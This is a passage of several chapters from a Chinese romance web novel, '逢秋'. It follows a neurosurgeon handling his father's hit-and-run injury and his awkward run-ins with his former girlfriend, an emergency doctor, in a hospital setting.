她猛的打断穆广汉没说完的话:“我记得当年我要出国,可我男朋友去不了,你劝我要不分手算了的时候,可不是这么说的,你说希 6. 第六章 《逢秋》全本免费阅读 何酌修匆匆赶往交警队,在谈话室见到了逃逸的肇事司机。 中年女人坐立不安,满脸惶恐纠结,不停地绞着手指。 看到受害者家属,便立刻起身扑过来,作势要给他下跪。 “对不起对不起,我不是故意的,我赔你们医药费……你、你别让我坐牢,求求了……” “我儿子马上就要高考了,我不能坐牢的,他会被会毁了的,你可怜可怜孩子……” 一边求一边哭,根本不给何酌修说话的机会。 何酌修也没反应过来,只好赶紧一把扶住她,总不能真的让她跪下去。 一旁来负责这次谈话的交警同志也赶紧过来帮忙,连扶带拉的把人按回椅子上。 对方仍旧一直不停地道歉,说自己不是故意的,出事以后也很愧疚,根本睡不着,愿意赔偿医药费和损失,希望能得到谅解,因为她儿子不能有一个有案底的家长,云云。 何酌修听得一阵头痛,觉得太阳穴在不停的蹦跳。 “……好了,能不能让我说几句话?”他无奈的提高声音开口,“大姐,你不会以为你一直不停的说,我就能给你出谅解书了吧?” 没有这样的道理啊,难道我不能说话你就能当我是默认? 对方猛的一顿,面上露出讪讪的神色,眼巴巴的看着他,眼泪都下来了,嗫嚅着说了句:“我儿子高三了……马上就要高考,求求你不要毁了他……” 这不道德绑架么,交警同志都听得无语了,连忙打岔:“就事论事,就事论事,其他事暂时放一边。” 对方安静下来,何酌修这时才有机会向交警同志询问事情的来龙去脉。 苦笑道:“我昨天上着上着班突然就接到医院的电话,说我爸出事了,赶紧请假过去,不瞒您说,那个电话再来晚一点,我就要去手术室接台了。” 就为了这事,他紧急请假,原本要做的手术都由同事接手,接下来的班也要同事顶上,认真说起来,他欠人情还真是欠大了。 交警同志恍然大悟的哦了声:“原来您是医生,那您父亲的情况怎么样肯定是清楚的了,是这样,我们昨天接到报警……” 原来昨天老何被撞后,有热心路人打了120,也有热心路人打了110,附近就有监控,警方一查监控,就找到了肇事司机,联系上对方之后传唤过来。 “早上我们还去了医院急诊科,找到了当时接诊你父亲的医生,了解了情况,但没见到你父亲人,说是去做检查了。” 何酌修点点头,眼前闪过穆秋吟那张冷静的脸孔。 根据道路监控记录显示,老何当时是好好过马路的,是肇事司机闯红灯,车速过快撞倒的他,是司机全责。 至于闯红灯的原因,是因为肇事司机当时急着回家做饭,如她所言,她儿子高三了,这个阶段很关键,必须要保证充足的营养和睡眠,才有足够的精力去复习冲刺高考。 对于大多数人来说,高考都是改变命运的一个节点,没有家长会不紧张不在意,基本都会尽最大努力做好后勤保障工作。 所以这位大姐就是为了孩子,早上出去买菜,然后匆匆回家做饭,必须保证孩子中午放学一进门就能吃上。 那个点按理来说老何是在店里的,为什么会在路上被撞呢?因为前一天晚上何酌修就跟他说了,晚上要回家吃饭,他下午只有一台很简单的手术,可以按时回到家,老何就说要给他做卤鹅,鹅要去市场买新鲜宰杀的,还要去药店配卤料,所以他早早就结束营业回去,结果就这么寸,被撞上了。 因此何酌修心里也很愧疚,如果不是他要回去吃饭,老何就会跟平常一样等到午后才关门回去,也就不会碰上这事了。 但无论如何事情已经发生了,何酌修只问:“那你撞了人,跑什么?要不是过路的人好心打了120,我爸可能就没了,他是继发性蛛网膜下腔出血,现在情况很一般,出血面积有点大,接下来是不是要手术还未可知。” 对方惨白着脸,不断的重复自己不是故意的,愿意赔偿,双倍赔偿都可以。 何酌修不由得哂笑:“我读初三的时候,我妈就因为车祸去世了,我就剩一个爸,这些年我们父子俩相依为命,好不容易我毕业在容城站稳脚跟,他也没享几天福,要是今天就没有了,我要你的双倍赔偿有什么用?” 他唯恐对方不知道蛛网膜下腔出血是怎么回事,还仔仔细细的解释了一遍,什么是自发性蛛网膜下腔出血,什么是继发性蛛网膜下腔出血,致死率是多少,要怎么治疗,并发症可能有哪些,像老何这种本身就有基础病的老年人摊上了又会多麻烦…… 一旁的交警同志听着一边后怕一边在心里嘀咕,这不像是来谈赔偿的,差点以为是来做医学科普讲座的。 他说完问对方:“你的孩子就是孩子,我就不是孩子了吗?他只是可能回到家还要等一会儿才能吃饭,而我却要承担失去唯一的亲人的风险,还有我的工作,我的病人,都会因为这件事受到影响,不是吗?” 道德绑架谁不会,他在医院见多了好伐:) 对方白着脸,满脸失魂落魄,委顿在椅子里。 “交通运输肇事后逃逸或者有其他特别恶劣情节的,处三年以上七年以下有期徒刑;因逃逸致人死亡的,处七年以上有期徒刑。”[1] 这是刚来时交警同志跟她说的,不然她也不会一见面就想给对方下跪了。 如果她没跑…… “我可以给你谅解书。”何酌修叹口气,“但你应该知道,就算有谅解书,也可能会被判实行的,因为你逃逸了。” 不过如果有谅解书的话,法院在量刑时确实可能会酌情从轻或者减轻处罚。 蹲三年和蹲一年,肯定还是不一样的咯。 但何酌修也不是没条件的,至少赔偿要到位吧,老何这情况,再怎么样,也要严格卧床一个月了,他接下来起码要休养两三个月,经济上总会有损失的。 好在对方没有推脱责任的意思,很快就商量妥当,对方赔付老何五十万的治疗费和误工费,何酌修代表老何出具谅解书。 “我宁可没有这五十万,真够受罪的。”回到医院后,何酌修对老何如是道。 又庆幸:“幸好那会儿给你补交了社保跟医保。” 不然现在更够呛。 老何伸手握了握他的手,有些劝解似的看看他,他忍不住叹口气:“是了,你心宽。歇着吧,我去问问你的检查结果怎么样了。” 检查结果不算坏,至少血管造影看起来还可以,但也谈不上好,因为老何现在的症状,大家都判断他大概率会出现脑积水。 何酌修看完检查结果,沉默片刻,问道:“要做腰大池脑脊液引流?” “出现脑积水的话确实要,药物治疗也行,但是引流的话,血性脑脊液清除会更快,症状可以明显改善,而且并发症也少点。”邵主任回答道。 本专业范围内的东西,不用邵主任多解释何酌修就能明白,所有的担心只是因为那是自己的亲人,关心则乱。 和邵主任商量了一下老何的治疗方案,何酌修回到病房,想了想,还是没跟老何说,反正说了他也不懂,还净担心。 “没什么,配合治疗就行。”何酌修用轻松的语气道,“我那儿跟你差不多的病人也是这个方案。”< 7. 第七章 《逢秋》全本免费阅读 同学先是说明来意,有亲戚查出是脑叶肿瘤,具体是颞叶肿瘤,想到容城来做手术进一步治疗。 接着就是:【听穆秋吟说你这几天可能都不出门诊,那什么时候会恢复?】 何酌修看了一愣:“???” 穆秋吟说的?她怎么知道他不出门诊??? 刚要问,就反应过来了,是因为老何。 穆秋吟知道老何对他来说有多重要,在唯一的亲人面前,什么工作都变得不再重要,他肯定会请假,排出时间来陪老何治疗。 至少是前几天最危险的时候他必须在场。 所以这几天他肯定会停诊。 思及此,何酌修不由得苦笑,该说不说,最了解他的人,还真就是穆秋吟。 只是不知道她为什么会突然冒头替他说话。 就不怕被人议论他们藕断丝连? 搞不懂,他失笑的摇摇头,回复同学:【我爸出了点意外,在一附院这边住院,我门诊大概要三四天才会恢复。】 【林立:那你有哪位医生可以推荐一下么?】 【何酌修:孟涟医生,或者谭楚樾主任吧。】 【林立:[大笑]既然你和穆秋吟都推荐了孟医生,看来是真好,谢啦!】 得到想要的信息的同学道谢后很快下线,何酌修退出聊天界面,找到开了免打扰的班级群点进去看了眼,果然看到穆秋吟的发言。 他下意识的点开穆秋吟的头像,试图去看她的朋友圈。 什么内容都没看到,只看到她的朋友圈封面和头像。封面是她和猫一起坐在台阶上的背影,头像是她抱着猫一起。 他这才想起来,他们早就互删了好友。 说不清道不明的惆怅感顿时油然而生。 老何的病情进展在何酌修和他的主管医生的意料之中,脑积水终究还是没能避免。 这是因为蛛网膜下腔出血容易造成蛛网膜粘连,从而造成脑脊液的循环和吸收障碍,进而形成脑积水,这是很常见的并发症。 管床的叶眉给他做了腰大池引流脑脊液术,其实就是从腰大池的位置放一根导管进去,把脑脊液放出来,每天引流三百到五百毫升。 所以老何只能侧躺,以免压到导管,他问何酌修这得多久,何酌修说:“五到七天吧,引流出来的脑脊液变清了,就可以拔管。” “真是倒了大霉哟。”老何终于忍不住叹气,“这院得住到什么时候去哇。” 何酌修失笑:“没办法,谁叫你磕到头了呢。” 他又担心店里的生意,觉得亏大了,何酌修说:“多亏几天你就习惯啦,等你好了再去赚回来,做生意不都这样?赔赔赚赚都是常事。” 事情至此已经过了四天,何酌修不能再继续待在这儿陪他了。 他开玩笑说:“我得回去上班,不然就要被单位开除了。” “快去吧,我一个人也没事,有护工在。”老何冲他摆摆手。 何酌修应好,“我下夜班再过来看你。” 班是要上要值的,但手术可以继续停几天。 重回工作岗位,一切都和以前没什么区别,同组的一线许丹问他:“师兄你爸怎么样了?” “算是稳定了吧。”何酌修应道,转身去看贴在白板上的病历修改通知,打发学生去护士站把上周出院的几本病历拿回来。 还是同组的一线涂骅接着说:“感觉最近车祸挺多啊,我住的那边,附近一个路口,前天发生了一起电动车跟小汽车相撞的,两辆车都车速很高,嘭——电动车的那对母子当场死亡。” 话音刚落,周围一片倒吸凉气的哇靠声响起。 何酌修也忍不住摇头苦笑:“所以说交通安全啊……” 坐在他对面也是在签病历的上级谭楚樾,这时抬头问他:“找到肇事司机了么,让他赔钱没?” “找到了,愿意赔五十万,让我给她出谅解书。” 何酌修应完,把修改好的那一页病历打印出来,夹进病历本里,重新签好字。 “你答应了?”谭楚樾问他。 “不答应能怎么样。”何酌修笑笑,“她说是为了给高三的儿子做午饭才开这么快,不是故意撞的我爸,口口声声让我不要毁了她儿子,可是这有什么用,她致人重伤,还有逃逸情节,我就算出了谅解书,法院该怎么判还是怎么判,如果这事真的会毁了她儿子的前途,那也不是我的过错。” 所谓的毁了她儿子前途,无非就是她这事记录在案以后,可能会影响她儿子以后考公。 但到底是不是真的有影响,涂骅和许丹他们都一知半解,一时间讨论得很热闹。 唐梓文从外头进来,听到这动静,不由得震惊:“不是……你们这么闲?都没手术吗今天?” “你这张乌鸦嘴!”许丹扭头骂了他一句。 谭楚樾从病历里抬头,啧了声,揶揄他:“当着你老婆的面说这些,你不想活啦?” 涂骅看热闹不嫌事大,起哄道:“丹啊,今晚让他睡地板。” “住院总,总住院,又不回家,你让他睡值班房地板吧。”许丹一甩马尾,哼了声。 这下就连何酌修都忍俊不禁起来。 唐梓文耸耸肩,挠挠眉毛,转移话题问何酌修:“师兄你有时间吧?你看这周的科室讲课……” “什么时候?”何酌修眉头一挑,嘴角含笑的问。 “今明两天?”唐梓文试探,“你准备准备?” 何酌修摇摇头:“不用准备了,就今天吧,讲蛛网膜下腔出血,我爸这不就是现成的病历么,课件共享里也有。” 啊这…… “你可真会就地取材。”谭楚樾乐不可支,指指一旁的规培生,“帮个忙,给同学们发通知,十一点科室讲课,蛛网膜下腔出血的诊断和治疗,让大家抽空复习一下。” 规培同学:秃然,太秃然了主任! 上午十一点过一刻,何酌修刚开始提问学生蛛网膜下腔出血的定义是什么,另一边的穆秋吟就在门诊一个接一个的病人里纠结,到底要不要去探望一下何酌修爸爸? 按理来说,她和何酌修是多年同学,同学的家人病了,她去探望一下很应该。 但另一方面,由于她和何酌修的关系比较复杂,要是去的话,太容易引起误会,到时候何酌修知道了,问她为什么去看他爸爸,她怎么回答? 好像是不应该去,但是…… 何酌修只有这一个亲人了啊,他没了妈妈,那个死鬼亲爹倒是还活着,但早就不来往了,等于没有,如果何叔再有个三长两短,他怎么办? 这么一想,她又难免黯然。 她甚至有种很奇怪的心理,如果老何出了事,那么何酌修为了他而放弃出国、跟她分手的这些付出,就成了东流水。 “医生,你帮我看看我女儿,她肚子很痛。” 耳边传来焦急的女生,诊室里进来了一家三口,一对中年父母带着一个纤细瘦高的小姑娘。 穆秋吟低头看了眼病历本,12岁。 “先别急,去帘子后面躺下,我看看。” 小姑娘乖巧的去了,穆秋吟顺手把帘子拉上,孩子妈妈立刻跟着钻进来看。 “来月经了吗?”穆秋吟一边戴手套,一边开始问病史。 孩子妈妈抢答:“来了,去年就开始来月经了。” “痛是怎么痛?”穆秋吟又问,“哪里痛?” 孩子刚张嘴,她妈妈又抢着应 8. 第八章 《逢秋》全本免费阅读 老何住院没几天,中秋节就到了。 三天假期,穆秋吟卡在中间那天值班,考虑到下夜班不一定能早点走,四舍五入就等于只休一天。 但不知道是运气好还是怎么的,白天来的病人确实不算多,中午她出车去拉回来一个重度痛经的年轻女孩,被冯恬接手之后就没她事了。 转去病区看了一下在床的病人,处理了几个医嘱,正好值班护士来问要不要一起点午饭,她就开始琢磨外卖去了。 也不敢说一句“今天好像没什么人”,或者是“今天好闲”之类的话,生怕自己乌鸦嘴发作。 正午十二点半,外卖送来了,穆秋吟出去拿,外卖小哥就在门口的阶梯下,她出门就看到了。 和外卖小哥明黄色的马甲一起映入眼帘的,还有提着东西越走越近的何酌修。 他还是寻常的白衫黑裤,衬衫的袖子挽到手肘,没打领带,甚至连扣子都解开了一颗,没那么板正整齐,顶着大太阳,脚步匆匆。 穆秋吟远远的看见他大步流星的姿态,走动时裤腿的布料似乎贴在他的腿上,还有露在外面的线条流畅优美的精壮小臂。 忽然间想起一些旧事,下意识的赶紧移开眼,觉得站在屋檐下也被太阳的热气波及,让人有些燥热。 穆秋吟:我恨我视力5.0:) 刚准备转身回去,就见何酌修抬眼往这边看了过来,似乎犹豫了一下,然后直接向她走过来。 穆秋吟一时愣住,竟然忘了要走,只怔怔的看着他靠近。 何酌修走近了就发现她有些呆呆的,满脸没反应过来的老实乖巧,口罩挂在下巴上,嘴唇微微抿着,也不知道在想什么。 “木……”他顿了顿,把下意识到了嘴边的称呼咽回去,笑着同她打招呼,“穆医生中午好。” 穆秋吟眼睛眨了一下,回过神来了。 “……嗯,中午好。”她低声应了句,眼睑一垂。 何酌修发现不管是这次,还是前两次见面,她对着他时都是一副样子。 眼睑微微一垂,挡住了大部分眼神,似乎在逃避什么,又像是不愿意看见他。 何酌修不由得有些心酸,又忿忿不满。 心说你至于嘛,是,我们是谈过,分手的时候也谈不上十分和平愉快,但都已经过去了这么多年,你还怕我缠上你是怎么的? 我至于做这种没品的事?何酌修觉得这是对自己人品的侮辱。 一时有些意兴阑珊,打了声招呼就要走,“还没吃午饭吧?那我就不打扰你了,下……” 他想说下次有机会再聊,客套客套,可话没说完,就听穆秋吟主动问:“叔叔……还好吧?” 何酌修微微一愣,立刻想起前天晚上过来时,邵主任跟他说的事。 当时他是去问老何当天的检查结果,聊完以后邵主任开玩笑说:“最近收的几个病人,家属里最有心的儿子还是你,其他人要么是老伴儿照顾,要么是女儿来陪,儿子没见过的,所以说生儿子有什么用,不贴心不贴肺的。” 何酌修温声笑道:“情况不一样,我们家是没人能分担,只能我自己来,家里除了我和我爸,第三个会喘气的都没有,下雨天出现的会飞的蟑螂不算。” 邵主任哈哈的笑出声来,笑完话音一转:“其实你爸在这边住院你大可放心,有事忙偶尔一天不来也没事,不说我们,就是急诊的穆秋吟,都还关心着呢,自己人么。” 他这话的本意,是告诉何酌修,这儿是自己人的地盘,你大可放心,有什么事就去做好了。 但何酌修却只听到一个名字,穆秋吟。 “她怎么会关心我爸?”他下意识的脱口问道。 略微有些着急的语气让邵主任神情一顿,有些惊讶的看向他,解释道:“首诊负责制嘛,你爸是她接诊的,关心一下也很正常,不是故意要打听你们隐私。” 他刚才惊讶的目光让何酌修瞬间反应过来,压下心里几欲翻滚的情绪,笑了笑:“……这样,她有心了。” 似乎就这样解开了误会。 可是等到夜深人静,他躺在陪床上,借着心电监护的光看着天花板,却不得不承认,他还是在意的。 穆秋吟是为了什么还会关心老何的病情?真的是因为首诊负责制吗,那她一天得关心多少个病人啊? 他希望是这样,但又希望不是这样。 但他也不好去问,于是只能当这件事没有发生过。 可是今天看着她眉眼低垂似乎避着自己的模样,何酌修就又想起来了。 这次再也忍不住,直接就问:“我听邵主任说你打听过我爸的病情,怎么这么关心?” 穆秋吟闻言一愣,眼睛倏地睁大,一时不知道该怎么回答才好。 我靠!他怎么会知道的!邵主任跟他这么熟吗,这都跟他说?! 何酌修见她眼里冒出紧张之色,嘴巴都快抿成一条线了,心里顿时一软。 到底是不愿叫她为难,他扯了扯嘴角,主动给她递梯子:“难道是因为首诊负责制?穆医生贯彻制度要求真是不容易。” 他觉得是主动替她解释,可穆秋吟完全没觉得这是一把梯子,她只听出了阴阳怪气。 一时有些黯然,觉得他是在暗示她多管闲事。 于是眼睑垂得更低了,声音倒还平静:“只是……抱歉,我不该打听你家的隐私,你别投诉我。” 何酌修一愣,瞬间哑然。 得,给问得不高兴了。她每次不高兴,就会是这个样子。 看着冷冷静静,理智得不得了,实际上已经不高兴得快要炸了。 他张张嘴,想说对不起,又说不出口,奇怪的憋在喉咙里,指尖蠢蠢欲动,又不敢抬起来。 最后他从手边的袋子里摸出两个圆球形的盒子,递给她,声音低下去:“月饼,陈皮红豆沙的。中秋节快乐,木木。” 穆秋吟有些错愕的抬起眼,看一眼他勉强抓在一边手里的两个月饼盒,蓝色的圆球形铁皮包装盒像夜空,还有月兔捣药和桂花树图案,一看就很贵。 她犹豫了一下,还是伸手接了过来,抱在怀里,低着头道了声谢。 “……你也是,中秋节快乐。” 声音有些紧绷,还有一点发潮,似乎兴致不高。 何酌修张了张嘴,想像以前那样说点什么哄哄她,又惊觉不合适,只好客气的道:“我还有事,就先走了。” 穆秋吟低着头看他手里提着的袋子,还有他泛白的指关节,嗯的应了声。 他转过身,西装裤的裤腿很快退出她的视线,她这才抬起头,看着他走远的背影,突然觉得脑子有片刻的短路缺氧,一阵眩晕感突如其来。 肯定是被晒的,她想,九月份的太阳还真是猛,不是都秋天了么…… 她闷着头进了办公室,把外卖放桌子上,冯恬在贴刚做出来的血气分析单,听见动静转头问她:“外卖到啦?小师姐辛苦咯。” 穆秋吟扯了一下嘴唇,勉强的笑了一下。 跟班的规培生也看过来,好奇的问:“小师姐你那两个球是什么外卖啊?” 穆秋吟的手微微一抖,反应过来后把东西放下,笑了一下应道:“是月饼。” “啊?月饼啊?”学生啧了一下,“这月饼的包装这么精致啊,肯定很贵吧?” 穆秋吟摇摇头,实话实说:“应该吧,我也不清楚。” “怎么不清楚,别人给的啊?”冯恬贴好化验单,凑过来看看,还用手指推了一下其中一个球,“嘿,不会倒诶,是不是里面有机关,像那个球形香囊?” 穆秋吟点点头,嗯了声,冯恬接着问:“什么味道的?” “陈皮红豆沙。”穆秋吟应道。 应完这句,她心里突然升起一抹异样的感觉。 刚才面对何酌修她有些不自在,所以没反应过来,陈皮红豆沙这个味道的月饼,分明是 9. 第九章 《逢秋》全本免费阅读 晚上这顿饭来的都会是熟人,做东的是何酌修的导师封荆河教授,请的都是课题组的同事和同学。 唯一不在这个范围内的,是盛明月身边这位,那是她的家属。 何酌修坐下,笑着问:“你怎么知道我爸的事?” “赵清岩说的呗。”盛明月拇指一翘,往旁边一指。 何酌修笑笑:“我猜也是,毕竟就在你家赵清岩眼皮底下住院。” 说完顿了顿,才继续:“还行,稳中向好,多谢关心。” “肇事司机找到了吧,赔钱了么?”盛明月把剥出来的花生仁塞一把给赵清岩,问何酌修,“用不用帮忙?” “已经解决了。”何酌修无奈的摇摇头,把事情经过告诉他们。 这事谁听了不说一声无语,当下三人一齐感叹,果然是心急吃不了热豆腐,但凡她要不那么急,也不会出事了。 盛明月过了会儿说:“明天我让赵清岩去看看叔叔,带点营养品去。” 都是一个课题组的同事,何酌修懒得跟她假客气,笑着道了声谢,拿过热水壶开始烫碗筷。 这时门外响起一阵脚步声,包厢门随即被推开,一群年轻人簇拥着封教授和夫人进来。 “哟,新鲜,你们仨怎么来这么早啊?我还以为明月你们两口子不来呢。” 何酌修他们仨赶紧起身迎接两位老师。 盛明月笑道:“哪儿能啊,您请客,我就是不想来,我爸也非得赶我来不可。” “毕竟是中秋节,应该合家团聚才是,回头替我跟盛董道个歉,抢了他女儿女婿了。”封教授笑着道。 “我们下午就吃了团圆饭了。”盛明月道,有点吐槽似的,“昨晚是去福利院跟大家吃的,这两天光吃团圆饭了。” 封教授接着说:“你前些天让人送过来的月饼很好吃,那个盒子挺有意思,苏老师养的小狗很喜欢。” 苏老师就是他夫人,何酌修的师母。 盛明月哈哈一笑:“是吧,我家猫也很喜欢,当球来踢。” 何酌修一边听他们寒暄,一边安排大家坐下,“师母坐这儿吧,离空调远点不那么冷……小薛和黎鲤你们那边过去点,这边有点挤……” 师母笑眯眯的应好,夸何酌修会照顾人,还调侃他:“以后你媳妇有福气咯。” 何酌修笑笑刚要说话,封教授就哈了声:“我看难,他说不定清心寡欲,以后莫得媳妇。” “怎么会,你别瞎说,我们小何一表人才,怎么可能讨不到老婆,你这个乌鸦嘴,快点吐口水重新说!”师母说着拍了一巴掌老头的胳膊。 众人一时哄笑,封教授正色道:“我之前说给他介绍个女孩子,他连见都不想去见,这态度还能指望什么?算了吧,就让他为祖国卫生事业奋斗终身吧。” 何酌修:“……” 这话说的,大家笑得更热闹了,何酌修就是想反驳,都找不到反驳的点。 啧,听起来很有道理呢! 封教授又关心了两句老何的情况,这边就开始陆续上菜了,因为是中秋节,酒店还特地给每桌客人都多送了一份果盘。 一顿饭宾主尽欢,大家都吃得很满意,当然,席间没少聊工作的事。 封教授是国内最早开始研究脑深部刺激手术治疗运动障碍病的几位专家之一,实验室目前在进行的课题之一,就是脑深部电刺激术联合药物治疗对帕金森患者病情的影响。 盛明月在学校基础医学院,主要是负责动物实验方面,何酌修他们则是负责临床病例采集和分析,然后两头交叉验证。 不过在饭桌这种场合,要说的事也有限,几位带头的负责人聊他们的,底下一众小兵只用埋头干饭即可。 晚上九点整,正式散席,大家怎么来的怎么回去,在酒店门口就各奔东西。 何酌修本来提出送几位师弟妹回去,惨遭拒绝。 “我们要去酒吧……” 这话没说完就被另一个人捂嘴,“不是,我们还要去吃宵夜,师兄你懂的,我们还在长身体,需要摄入更多优质蛋白。” “啊对对对,是这样没错,我们还得去吃点,所以师兄你不用管我们了,快回去陪叔叔吧。” 何酌修听得满头黑线:“……你们的优质蛋白是不是烤羊肉串烤牛肉串烤腰子烤鱿鱼烤五花肉,还有碳烤生蚝碳烤脑花,再加点小麦饮料,这些?” 师弟妹们:“嘿嘿。” 确定自己无法融入这群年轻人的活动以后,何酌修只嘱咐了两句别喝太多注意安全之类的话,就开着车扬长而去了。 他直接开车往一附院方向走,兴许是因为过节,马路上车水马龙,经过步行街附近,等红灯时还能听到远远传来音乐声。 绿灯一亮,他提高车速飞快经过路口,却在前方转弯处看见熟悉的人影,不由得一愣,下意识踩下刹车。 车子缓缓靠边停下,他按下车窗。 “木木。” 穆秋吟今天倒霉得不行,早上同事八点零五分来接班,八点零一分120车拉来一个端坐呼吸的病人,CKD4期合并肺气肿,刚来没一会儿就症状加重立刻送抢救室。 好不容易稳定住患者的生命体征,该做的事都做完了,已经快到中午。 刚回到家楼下,想起来前天的快递没拿,去驿站一找,没找到,丢件了,又掰扯半天。 好不容易这些破事处理完,筋疲力尽的回到家,坐下没多久,查看邮箱时发现有篇论文有了回音,却是要进行多处修改,只好强打起精神去改稿。 忙到傍晚决定吃顿好的安抚一下疲惫的自己,结果呢,去的那家餐厅又贵又不好吃,勉强吃完了,却在回家的路上遇到车子抛锚。 车子被拖车拖走之后,她沮丧的坐在路边,心想是不是不小心得罪了哪路神仙。 正吐槽着,就发觉有辆车停在面前,还没来得及抬头,就听见何酌修的声音。 只是一声旧日的称呼,就将她整个定在原处。 那种下意识不想去看他的情绪又突然冒头,但她不愿意承认自己是在逃避他,于是愣了几秒之后,便硬着脖子抬头看过去。 只见车窗里一张眉眼英气又温和的脸,干净英俊,眼神温和,嘴角挂着一丝微笑,周身环绕着宁静安逸的气息,一种名为安宁的气氛在空气里慢慢氤开。 光线微暗,在他脸上切割出半明半暗的线条,凭空多出了一丝暧昧。 她咬了咬嘴唇才出声:“……你怎么在这儿?” “跟老板他们吃饭,刚散。”何酌修回答,像是下意识的解释,“都是课题组的同事还有师弟妹。” 穆秋吟眨眨眼,哦了声。 忽然间想起以前她对他的要求:“去哪里,跟什么人一起,你一定要告诉我,不然我就当你有二心,想当二五仔!” 那时她还揪他耳朵,生气的瞪他,只是因为他社团有临时活动,没来得及告诉她。 被她冤枉了也不恼,虚虚的捉住她手腕弯下腰来,和她四目相对,笑吟吟的应好,还开玩笑说:“你这样怕不怕其他同学知道了说你是胭脂虎?” “你都不怕被人叫妻管严,我怕什么。”她拿头去顶他,气鼓鼓的,“要是我不管你了,你就等着哭去吧!” 她不管他了,说明他们没有关系了。 后来果然如此。 想起这些事,穆秋吟心里不禁酸涩,想说他跟谁一起吃饭不关她事,但话到嘴边又没能说出口。 何酌修见她似乎有些走神,连清澈的目光都染上了一丝茫然,不禁莞尔,低低的 10. 第十章 《逢秋》全本免费阅读 颇有点针锋相对的你来我往一个回合,俩人同时安静下来,车厢里显得格外沉默。 如果是好朋友,或者还是以前的恋人关系,这种安静应该是让人觉得很舒服的,即便都不说话,也不会尴尬。 但很可惜,现在的他们,不属于这两种关系的任何一种。 于是气氛渐渐变得有点凝滞起来,穆秋吟甚至难得的有点坐立不安。 她靠着车门,纠结半天,还是决定主动找个话题缓解一下气氛。 “那个……”她磕巴了一下,“你昨天给的月饼……很好吃,谢谢。” 客客气气的语气,十分安全的话题,无一不在提醒何酌修他们之间的生分疏远。 他心里叹了口气,又觉得有些涩涩的了。 那种感觉很像是不小心吃到了还没成熟的水果,柿子、青苹果、杨桃或者别的什么。 或者是像前年他跟封教授一起去江西出差,在当地见到一种叫樟梨的水果,据说是没什么会吃的,他好奇的拿了一个来尝,入口又酸又涩,没什么水分,舌头涩到能打结。 很像他此刻的心情,他觉得。 但他还是若无其事的回应着穆秋吟:“课题组的同事送的,我老板他们也说好吃。” 穆秋吟哦了声,心说果然没猜错,果然是别人送的,至于陈皮豆沙,只是巧合而已。 她似乎松了口气,又觉得莫名有些失落。 没话找话似的道:“怎么送了这么个口味,你不是不吃陈皮么?” “不要钱的东西,有就不错了,还要什么自行车。”何酌修笑笑,语气随意。 穆秋吟听了点点头:“说得也是,比单位发的好吃。” 何酌修闻言哑然失笑,这怎么能比,单位福利,讲究的是性价比,至于味道,那是次要的。 他没说话,穆秋吟一时没想到话题,车里便又安静了片刻。 何酌修这时也觉得有点尴尬起来,这份尴尬里更多的,是一种怅然若失。 他们之间何曾这样相对无言过。 穆秋吟四下左右看看,看到他方向盘上的LOGO,一个很漂亮的小篆字体,实在好认,是某品牌的混合动力新能源车型。 当下便找到了能聊的话题,好奇的问何酌修:“你车什么时候买的?新能源好开么?我还开油车呢。” “我觉得还不错,开着很舒服,插电混动主要是出门在外如果电没了又没法及时充电,还可以烧油跑一跑,跟油车相比,属于各有利弊。”何酌修笑着应道,“我之前也开的油车,这是去年我爸给我换的。” 说到后面,语气里竟然隐隐含有一丝得意。 穆秋吟不由得失笑,人越是没有什么,就越会炫耀什么,放在何酌修身上,那就是父母缘分。 他亲爹不是个人,早就不来往了,亲妈又走得早,怎么看都是亲缘浅薄的,很多人生来就有的父母温情爱护,对他来说却是稀缺资源。 所以有一个老何疼他,便让他高兴得不得了,明明是继父继子,却胜过许多亲父子。 “是啊是啊,何叔对你真好,不像我,我没有妈妈咯。”她笑眯眯的说了句捧他的话。 这是惯性使然,从前每次何酌修提起老何时,她都不会扫他的兴。 只是这次何酌修听了她的话,没有再继续笑,而是转头看了她一眼,“抱歉。” 气氛一下又回到刚才,变得有点沉默。 也变得更尴尬了。 穆秋吟再次感到坐立不安,她有点想开窗,但是又不好意思说,只好扭头贴着车窗往外看,用外面闪过的建筑物和车辆来转移注意力。 但这样盯着外面看,她很快就觉得有些眩晕,连忙又把视线移开。 何酌修也觉得车厢里的空气很凝固,他想了想,准备问她要不要听电台或者音乐。 还没来得及问,穆秋吟就先他一步找到了能说的话:“我听说新能源车过海的话有点麻烦。” 何酌修听了应她:“是么?” “嗯,之前陪我妈去琼岛玩,听住一个酒店的旅客说的,他们是自驾去的,开的新能源,上船之前要排专门的新能源车辆通道,比普通的车要麻烦,而且上船以后,要排在最外层,一艘船也搭载不了几辆新能源,所以会很慢。” “只能在最外层是为什么?” “……怕起火,可以立刻推下海,不要祸及船上其他车辆。” “是么?为什么会起火?” “车辆高温暴晒或充电不当,都可能发生电池爆炸车辆自燃,新能源车的起火也更难扑灭,不过听说现在有应对办法了。” 何酌修听完哦了声,笑吟吟的点头应:“那是真不错,以后可以放心自驾了。” ——其实他都知道,这是上过新闻引起过热议的话题,之所以装不知道,还不是为了不要尴尬么! 穆秋吟显然从他的语气里听出了这一点,对他的装傻表示:“……我这个话题选得不好,失策了。” 明明是小声嘀咕,却还是让何酌修听了个一清二楚。 他顿时失笑,说的确实没错,这个话题确实不那么好,没看他捧哏捧得这么不自然么。 车厢里再度安静下来。 已经不知道是第几次了,既有些好笑,又让何酌修觉得无奈,每一次沉默,都是在提醒他,他们已经今时不同往日,关系变得生疏至极,连普通朋友都不是。 后来穆秋吟放弃了找话题,靠在椅背上,微微阖着眼,祈祷快点到家。 这回轮到何酌修开始找话题了。 但他并不需要搜肠刮肚,只要问出自己最关心的那个问题即可。 “你……这几年在外面,过得还好吧?” 穆秋吟倏地睁开眼,扭头看了过去,看见他隐没在昏暗光线里的脸,神情模模糊糊的看不清楚,只有抿起的嘴角可以窥见一二分情绪。 她心里忽然一颤,嗯了声,“……还行吧,就那样。” 何酌修想起她跟自己说过的话,追问道:“你找到你想要的,更大的世界了么?” 穆秋吟一怔,突然觉得有点子羞耻,咋说呢,自己当时说的那些话,心里话是确实是心里话,但也确实是…… 有点中二诶,这不成黑历史了吗!!! “这个……”她扯扯嘴角,声音里染上一抹自嘲,“当然看到了,但也看到了舞台上除了我希望要的更前沿的新药,更高端的学术活动,更先进的治疗方式,还有更多其他东西……” 她顿了顿,摇摇头,仍旧是自嘲的语气:“比如种族歧视,亚裔好像……emm……” 何酌修对这个答案一点都不意外,“毕竟是异国他乡,是别人的地盘,我们是会吃亏点。” 人在外地都可能受欺负,更何况是在外国。 